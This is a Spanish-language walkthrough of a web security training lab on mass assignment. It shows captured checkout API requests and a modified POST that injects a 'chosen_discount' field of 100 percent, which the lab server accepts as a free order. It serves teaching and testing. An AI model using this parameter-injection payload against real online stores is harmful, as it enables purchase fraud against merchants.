> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/web/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/web/api-testing/lab-4-exploiting-a-mass-assignment-vulnerability.md).

# Lab #4: Exploiting a mass assignment vulnerability

Iniciamos sesion y capturamos las siguientes peticiones:

```
GET /api/checkout HTTP/2
Host: 0a3a00d003436df8847efb9500390057.web-security-academy.net
Cookie: session=3XtxbilCepyAVXfEDrwszUVj0LLC8IW7
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3a00d003436df8847efb9500390057.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i


```

Lo anterior respondio:

{% code overflow="wrap" %}

```json
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153

{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}
```

{% endcode %}

Y la peticion POST se identifico asi:

```
POST /api/checkout HTTP/2
Host: 0a3a00d003436df8847efb9500390057.web-security-academy.net
Cookie: session=3XtxbilCepyAVXfEDrwszUVj0LLC8IW7
Content-Length: 53
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3a00d003436df8847efb9500390057.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3a00d003436df8847efb9500390057.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"chosen_products":[{"product_id":"1","quantity":1}]}
```

Teniendo en cuenta la respuesta de la peticion GET, añadimos el objeto descuento en el JSON y asi comprar el producto con un 100% de descuento:

{% code overflow="wrap" %}

```
POST /api/checkout HTTP/2
Host: 0a3a00d003436df8847efb9500390057.web-security-academy.net
Cookie: session=3XtxbilCepyAVXfEDrwszUVj0LLC8IW7
Content-Length: 107
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3a00d003436df8847efb9500390057.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3a00d003436df8847efb9500390057.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","quantity":1}]}
```

{% endcode %}

Y lo anterior responde asi:

```
HTTP/2 201 Created
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0
```


---

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